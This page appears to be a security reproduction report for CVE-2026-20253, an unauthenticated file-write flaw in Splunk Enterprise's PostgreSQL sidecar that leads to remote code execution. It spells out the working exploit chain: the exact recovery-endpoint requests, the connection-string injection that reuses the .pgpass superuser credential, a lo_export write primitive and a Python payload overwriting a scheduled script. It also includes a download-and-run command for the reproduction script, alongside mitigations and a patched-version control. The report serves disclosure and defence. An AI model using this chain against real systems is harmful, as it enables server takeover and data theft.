CVE-2026-20253: Verified Reproduction
CVE-2026-20253: Unauthenticated arbitrary file operations in Splunk Enterprise PostgreSQL sidecar service SVD-2026-0603
CVE-2026-20253 is verified against splunk/splunk · github. Affected versions: 10.0.0-10.0.6, 10.2.0-10.2.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00266.
What Is CVE-2026-20253?
CVE-2026-20253 (SVD-2026-0603) is a critical (CVSS 9.8) missing-authentication vulnerability (CWE-306) in the PostgreSQL sidecar service of Splunk Enterprise. It allows unauthenticated arbitrary file creation/truncation and remote code execution. Pruva reproduced it (reproduction REPRO-2026-00266).
CVE-2026-20253 Severity & CVSS Score
CVE-2026-20253 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected splunk/splunk Versions
splunk/splunk · github versions 10.0.0-10.0.6, 10.2.0-10.2.3 are affected.
How to Reproduce CVE-2026-20253
pruva-verify REPRO-2026-00266 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00266/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-20253
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unauthenticated HTTP POST to /en-US/splunkd/__raw/v1/postgres/recovery/backup and /restore on Splunk Web (port 8000). The attacker controls backupFile (the pg_dump -f / pg_restore file path => arbitrary file create/truncate), database (a libpq connection string allowing hostaddr=<attacker-ip> redirect of pg_dump and p…
- Remote attacker
- Splunk Web :8000 (no auth)
- proxied PostgreSQL sidecar /v1/postgres/recovery/backup (pg_dump of attacker DB to /tmp/poc)
- /v1/postgres/recovery/restore (pg_restore into local template1 via .pgpass; CHECK constraint fires PL/pgSQL lo_export writing attacker Python over the default-enabled ssg_enable_modular_input.py)
- Splunk modular-input scheduler executes the overwritten…
How the agent worked
Root Cause and Exploit Chain for CVE-2026-20253
CVE-2026-20253 is a critical (CVSS 9.8) missing-authentication vulnerability in the
PostgreSQL sidecar service of Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The
sidecar exposes HTTP recovery endpoints (/v1/postgres/recovery/backup and
/v1/postgres/recovery/restore) that are proxied by the main Splunk Web application
(listening on all interfaces, port 8000) without any authentication check. Because the
sidecar builds pg_dump/pg_restore command lines directly from request-controlled
fields — the Authorization header becomes the Postgres -U user, backupFile becomes
the -f/positional file argument, and database is a libpq connection string — an
unauthenticated, network-reachable attacker can (a) create or truncate arbitrary files at
attacker-chosen paths on the Splunk server, (b) write attacker-controlled bytes to those
paths by redirecting pg_dump at an attacker-controlled database and then abusing
pg_restore + lo_export() against the local Splunk Postgres (reusing the on-disk
.pgpass superuser credential), and (c) achieve remote code execution by overwriting a
default-enabled Splunk modular-input script that the Splunk scheduler then executes as the
splunk user.
- Package / component affected: Splunk Enterprise,
splunkdcomponent — the PostgreSQL sidecar service (splunk-postgresGo binary) and the Splunk Web reverse proxy that forwards/en-US/splunkd/__raw/v1/postgres/recovery/{backup,restore}to it. - Affected versions: Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The PostgreSQL
sidecar is enabled by default on Splunk Enterprise deployments (
[postgres] disabled = falseinserver.conf), making AWS and many on-prem installs vulnerable out of the box. - Fixed versions: 10.0.7, 10.2.4, 10.4.0+. Splunk Enterprise 9.4 and earlier are not affected (the sidecar is not present).
- Risk level / consequences: Critical. Unauthenticated, network-reachable arbitrary
file creation/truncation leading to full remote code execution as the
splunkuser, which typically yields full compromise of the Splunk server and the data it indexes. CISA added the CVE to the KEV catalog on 2026-06-18 due to limited in-the-wild exploitation.
Impact Parity
- Disclosed / claimed maximum impact: Unauthenticated arbitrary file creation and
truncation (the CVE title) with a demonstrated chain to remote code execution
(expected_impact =
code_execution). - Reproduced impact from this run: Full chain reproduced against the real Splunk
Enterprise 10.0.6 product (official
splunk/splunk:10.0.6Docker image):- Unauthenticated remote request created an attacker-chosen file on the Splunk filesystem (arbitrary file creation/truncation — the named CVE impact).
- Unauthenticated remote request wrote attacker-controlled Python content over the
Splunk Secure Gateway modular-input script via
lo_export()(arbitrary-content file write / RCE primitive). - Splunk's modular-input scheduler executed the overwritten script as the
splunkuser; the attacker code ran and recordeduid=41812(splunk)— unauthenticated remote code execution confirmed.
- Parity:
full. The claimed code-execution impact was demonstrated end-to-end on the real product via the real remote HTTP surface, with a fixed-build (10.0.7) negative control showing the endpoint is blocked (HTTP 401, no file write, no execution). - Not demonstrated: None material. The RCE was demonstrated as the
splunkuser (post-exploitation root escalation was out of scope and not attempted).
Root Cause
The PostgreSQL sidecar (splunk-postgres, a Go binary) implements an
InMemoryRecoveryManager whose backupCommand / restoreCommand build process arguments
directly from the HTTP request without enforcing authentication on the endpoint:
pg_dump -h localhost -p <port> --clean -v -w -U <user> -f <backupFile> -Fc <database>
pg_restore -h localhost -p <port> --clean -v -w -U <user> -d <database> -Fc <backupFile>
<user>is taken verbatim from the HTTPAuthorizationheader (Basic-auth username). The endpoint accepts empty/garbage credentials (Authorization: Basic Og==decodes to:) — there is no authentication gate. (Confirmed: the watchTowr DAG sendsAuthorization: Basic ZGFnOg==and the vulnerable host returns400 "Failed to decode request"because the body is empty, i.e. the request reached the sidecar.)<backupFile>is attacker-controlled and becomes thepg_dump -f/pg_restorepositional file argument, so the attacker chooses the on-disk path that is created or truncated.<database>is passed as a libpq connection string. Because-h localhost/-p <port>are also injected, the attacker useshostaddr=<ip>(libpqhostaddroverrides-hand takes a numeric IP, no DNS) to redirectpg_dumpat an attacker-controlled Postgres, and injectspassfile=<path>+dbname=template1to makepg_restoreconnect to the local Splunk Postgres as thepostgres_adminsuperuser using the on-disk.pgpasscredential (/opt/splunk/var/packages/data/postgres/db/.pgpass, containinglocalhost:5432:*:postgres_admin:<password>).
The RCE primitive: the attacker's database ships a PL/pgSQL function that calls
lo_from_bytea() then lo_export() (two separate statements inside one transaction — a
single combined expression fails because the new large object is not yet visible to
lo_export in the same statement) to write attacker bytes to a chosen path, wrapped in a
CHECK constraint so it executes when pg_restore loads the table data. An
EXCEPTION WHEN OTHERS THEN NULL handler lets the dump be created on the attacker host
(where the target path does not exist) while succeeding on restore in Splunk. The target
path is /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py, whose
[ssg_enable_modular_input://default] input is enabled by default (disabled = 0,
interval = 60), so Splunk's modular-input scheduler executes the overwritten script as
the splunk user within ~60 seconds.
The fix in 10.0.7 enforces authentication at the Splunk Web proxy layer: the same
unauthenticated requests now return 401 "Authorization header must use Splunk token",
and no file is written. (Mitigation without upgrading: add [postgres] disabled = true to
$SPLUNK_HOME/etc/system/local/server.conf and restart.)
No public git fix commit is referenced because Splunk Enterprise is closed-source; the
fix is observed behaviorally in the splunk/splunk:10.0.7 image.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained, idempotent). - What it does:
- Pulls the official
splunk/splunk:10.0.6(vulnerable) andsplunk/splunk:10.0.7(fixed) images pluspostgres:16-alpine(attacker DB). - Creates a Docker network
splunknetand starts the attacker-controlled Postgres with a malicious database (PL/pgSQLpwn()+CHECKconstraint + trigger row). - Starts vulnerable Splunk 10.0.6, waits for healthy, confirms the unauthenticated
endpoint is reachable (DAG signature
400 "Failed to decode request") and that the PostgreSQL sidecar +postgres_adminsuperuser +.pgpassare present. - Stage 1: unauthenticated
POST .../recovery/backupfrom the remote attacker container creates a file at an attacker-chosen path on the Splunk filesystem. - Stage 2: unauthenticated backup dumps the malicious DB to
/tmp/poc; an unauthenticated restore loads it into localtemplate1via.pgpass, firinglo_export()which overwrites the modular-input script with attacker Python. - Stage 3: waits for Splunk's scheduler to execute the overwritten script and
checks the RCE marker (
/tmp/pwned/MARKER) containingidoutput. - Negative control: starts fixed Splunk 10.0.7, repeats the requests, and verifies
they are blocked (
401 "Authorization header must use Splunk token") with no file written and the script unchanged. - Writes
bundle/repro/runtime_manifest.jsonand captures all HTTP request/response artifacts underbundle/artifacts/http/.
- Pulls the official
- Expected evidence of reproduction:
artifacts/http/stage1_backup_resp.json→state: BackupComplete; the created dump file at the attacker-chosen path (artifacts/http/stage1_created_file.dump, PGDMP).artifacts/http/ssg_enable_modular_input.PAYLOAD.py→ the attacker's 3-line Python payload (vs. the 83-line...ORIGINAL.pySplunk script).artifacts/http/RCE_MARKER.txt→CVE-2026-20253 RCE confirmed+uid=...(splunk).artifacts/http/fixed_control_responses.txt→fixed_dag_http=401.logs/reproduction_steps.log→ full run transcript.
Evidence
Run log:
bundle/logs/reproduction_steps.logHTTP artifacts:
bundle/artifacts/http/(request/response bodies for each stage, the original vs. payload modular-input scripts, the RCE marker, and fixed-control responses).Key excerpts (from the verified interactive run mirrored by the script):
Unauthenticated endpoint reachable from a remote attacker (DAG):
POST http://splunk-vuln:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup Authorization: Basic Og== -> HTTP 400 "Failed to decode request"Stage 1 — arbitrary file creation (unauthenticated, attacker-chosen path):
POST .../recovery/backup Authorization: Basic dGVzdDo= {"database":"hostaddr=<attacker-ip> dbname=testdb","backupFile":"/tmp/cve2026_stage1_file"} -> HTTP 200, state=BackupComplete; /tmp/cve2026_stage1_file created (2550 bytes, "PGDMP")Stage 2 — arbitrary-content file write via lo_export (unauthenticated restore):
POST .../recovery/restore Authorization: Basic cG9zdGdyZXNfYWRtaW46 {"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/db/.pgpass","backupFile":"/tmp/poc"} -> /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py overwritten from 83 lines (real Splunk script) to 3 lines of attacker Python: import os,sys os.makedirs("/tmp/pwned",exist_ok=True) open("/tmp/pwned/MARKER","w").write("CVE-2026-20253 RCE confirmed\n"+os.popen("id").read())Stage 3 — RCE as the splunk user (marker appeared ~30s after overwrite):
/tmp/pwned/MARKER: CVE-2026-20253 RCE confirmed uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible)Negative control — fixed 10.0.7 blocks the endpoint:
POST http://splunk-fixed:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup Authorization: Basic Og== -> HTTP 401 "Authorization header must use Splunk token" (no file written; ssg_enable_modular_input.py unchanged, 83 lines)Environment details:
- Vulnerable:
splunk/splunk:10.0.6(Splunk Enterprise 10.0.6, PostgreSQL sidecar PG 17.7 on 127.0.0.1:5432, enabled by default). - Fixed control:
splunk/splunk:10.0.7. - Attacker DB:
postgres:16-alpinewith trust auth + malicioustestdb. - Topology: Docker network
splunknet; the remote attacker container sends HTTP tosplunk-vuln:8000over the network (real network boundary into Splunk Web).
- Vulnerable:
Recommendations / Next Steps
- Upgrade Splunk Enterprise to 10.0.7, 10.2.4, or 10.4.0+ immediately.
- Mitigation if upgrade is delayed: disable the PostgreSQL sidecar by adding
[postgres]/disabled = trueto$SPLUNK_HOME/etc/system/local/server.confand restarting Splunk. - Network hardening: restrict access to Splunk Web (port 8000) and ensure the sidecar
is not exposed; monitor for unexpected outbound Postgres connections (the backup stage
makes Splunk initiate an outbound TCP connection to the attacker's database) and for
unexpected modifications to files under
$SPLUNK_HOME/etc/apps/*/bin/. - Fix approach (vendor): enforce strong, Splunk-managed authentication and
authorization on every
/v1/postgres/recovery/*endpoint at the Splunk Web proxy layer (as done in 10.0.7), validate/taint-check thebackupFileanddatabasefields (reject connection-string injection and absolute paths outside approved backup directories), and do not source the Postgres-Uuser from the clientAuthorizationheader. - Testing: add regression tests that the recovery endpoints reject unauthenticated and
Basic-auth requests, and that
backupFile/databasecannot escape the intended backup directory or inject connection-string parameters.
Additional Notes
- Idempotency:
reproduction_steps.shremoves priorattacker-pg/splunk-vuln/splunk-fixedcontainers and thesplunknetnetwork at startup, so it can be re-run cleanly. The script was verified to pass end-to-end (exit 0). hostaddrvshost: libpqhostaddrdoes not perform DNS resolution and requires a numeric IP; the script therefore uses the attacker container's IP onsplunknet. (Using a hostname inhostaddrproducespg_dump: error: could not parse network address "name": Name or service not knownand a 0-byte file — which itself still demonstrates arbitrary file creation/truncation.)- Restore "failure" is cosmetic:
pg_restoreexits 1 because of non-fatal--cleanDROP errors (objects did not yet exist) andALTER ... OWNER TO testerrors (thetestrole does not exist locally), but thelo_export()side effect fires during data load beforepg_restoreexits, so the file is overwritten regardless. The script verifies the file-content outcome rather than trusting the restore status. - Single-expression lo_export caveat:
lo_export(lo_from_bytea(0, ...), path)as one expression fails (large object N does not exist) because the new LO is not visible tolo_exportwithin the same statement; the PoC uses a PL/pgSQL function with the two calls as separate statements in one transaction, embedded in aCHECKconstraint. - Surface fidelity: every exploit request is issued from a separate container over a
Docker network into Splunk Web (port 8000), matching the claimed
api_remote/ network-reachable attacker model; this is a production-path proof against the real Splunk Enterprise product, not a mock or harness.
CVE-2026-20253 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
echo "=== whoami / id ==="; id; echo "=== docker ==="; which docker && docker --version 2>&1 || echo "no docker"; echo "=== podman ==="; which podman 2>&1 || echo "no podman"; echo "=== disk ==="; df -h / /tmp 2>&1 | head; echo "=== net test ==="; curl -sS -m 12 -o /dev/null -w "google:%{http_code}\n" https://www.google.com 2>&1 || echo "no net google"; echo "=== docker hub test ==="; curl -sS -m 12 -o /dev/null -w "dockerhub:%{http_code}\n" https://hub.docker.com 2>&1 || echo "no dockerhub"; echo "=== splunk.com ==="; curl -sS -m 12 -o /dev/null -w "splunk:%{http_code}\n" https://www.splunk.com 2>&1 || echo "no splunk"=== whoami / id === uid=1000(vscode) gid=1000(vscode) groups=1000(vscode) === docker === /usr/bin/docker Docker version 29.1.3, build 29.1.3-0ubuntu4.1 === podman === no podman === disk ===
echo "=== splunk/splunk tags (page 1) ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=100&ordering=last_updated" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -50; echo "=== count ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=1" 2>&1 | jq -r '.count' 2>/dev/null{"cwd":"/data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348","duration_ms":413,"exit_code":0,"stderr":"","stdout":"=== splunk/splunk tags (page 1) ===\n10.4-rhel9\n10.2-rhel9\n10.0-rhel9\nsha256-34462bcc9dab9e637be547b229c4c78c59dbef5cd6ba438dc848c448b9a58e16.sig\nsha256-35b1991519907fb6e08f427e1d69dfd03132386bd0eaff68f3a1365957ca8385.sig\nsha256-095d1386cd72382322cf3497a23fd04b8f39b91fc225c1cbceddeed013ac0235.sig\n10.4.1-rhel9\n5a009d941268-rhel9\n10.2.5-rhel9\n1d180ea50aed-rhel9\n10.0.8-rhel9\n3b58f6d0a3f6-rhel9\n10.0\n9.4\nsha256-f9a5c74dc55b7546639dcea5278aa43e1555ca311e0311d2506ca620bea635b9.sig\nsha256-41b34f73a4ee5516675f12e8e6b85f55c6500fa84aaa1c97aff5b52015bf9818.sig\n10.0.8\n3b58f6d0a3f6\n9.4.13\n1d070b2427bf\n9.3\n10.2\nsha256-461c82b0989c02168383020b7cfa12da414c0415c10e2301ff0ff04cd2621101.sig\nsha256-c27ffb9ecff1406881cdf44d62e961bc04c3bd976cf93e1fdd64a8fda47584b5.sig\n10.2.5\n1d180ea50aed\n9.3.14\n02bbaf562558\nlatest\n10.4\nsha256-af4f671c9c931bfd80954e7f1baaff8540d1378ae26b098666cf05256bb24311.sig\n10.4.1\n5a009d941268\nsha256-cf924ed3c7ddb8433c9d3e7bf0bdb3c5c9e107b9302320b2b05a9665c698b8e9.sig\nsha256-457401d40520b6096570793dd8cffdec6649776f1521ded84bad64974e10d2… [truncated]echo "=== splunk/splunk tags by name 10.x ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=100&name=10" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -40; echo "=== name 9 ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=50&name=9" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -40{"cwd":"/data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348","duration_ms":425,"exit_code":0,"stderr":"","stdout":"=== splunk/splunk tags by name 10.x ===\n10.4-rhel9\n10.2-rhel9\n10.0-rhel9\n10.4.1-rhel9\n10.2.5-rhel9\n10.0.8-rhel9\n10.0\n10.0.8\n10.2\nsha256-461c82b0989c02168383020b7cfa12da414c0415c10e2301ff0ff04cd2621101.sig\n10.2.5\n10.4\n10.4.1\nsha256-cf924ed3c7ddb8433c9d3e7bf0bdb3c5c9e107b9302320b2b05a9665c698b8e9.sig\nsha256-457401d40520b6096570793dd8cffdec6649776f1521ded84bad64974e10d2dc.sig\n10.2.4-rhel9\n10.0.7-rhel9\nsha256-0f11c48c8948ba536d7704255d784ac156899e549725f070a0e2b10d5eaf3f2b.sig\nsha256-541d4ea893dff222d0f449cc1e6978a403cf538edced3286907277f9c0544107.sig\n10.2.4\n10.0.7\n10.4.0-rhel9\n10.4.0\n10.2.3\n10.0.6\nsha256-6a79a2772def4a024f4562b9223720517f5d906b4ea25d3a2b2f4cac6c10b969.sig\nsha256-bcae65ab3a06730cdb07da9f1ac8d14c50df8d8c3100aed2e1b6527da55739ef.sig\n10.2.3-rhel9\n10.0.6-rhel9\n10.2.2-rhel9\n10.0.5-rhel9\nsha256-184e80b079f149cae1134dd6330e077fd510f4ea87216a0d6ebd4399782d648c.sig\n10.2.2\n10.0.5\n9.4.10\n10.2.1-rhel9\n10.0.4-rhel9\nsha256-bd10b590d05299ee3f421d84d4c1700628a32a2e6110af816f060047269a9343.sig\n10.0.4\n10.2.1\n=== name 9 ===\n10.4-rh… [truncated]Artifacts and Evidence for CVE-2026-20253
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-20253
FAQ: CVE-2026-20253
Is CVE-2026-20253 exploitable without authentication?
Which versions of Splunk Enterprise are affected by CVE-2026-20253?
How can I reproduce CVE-2026-20253?
References for CVE-2026-20253
Authoritative sources for CVE-2026-20253 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.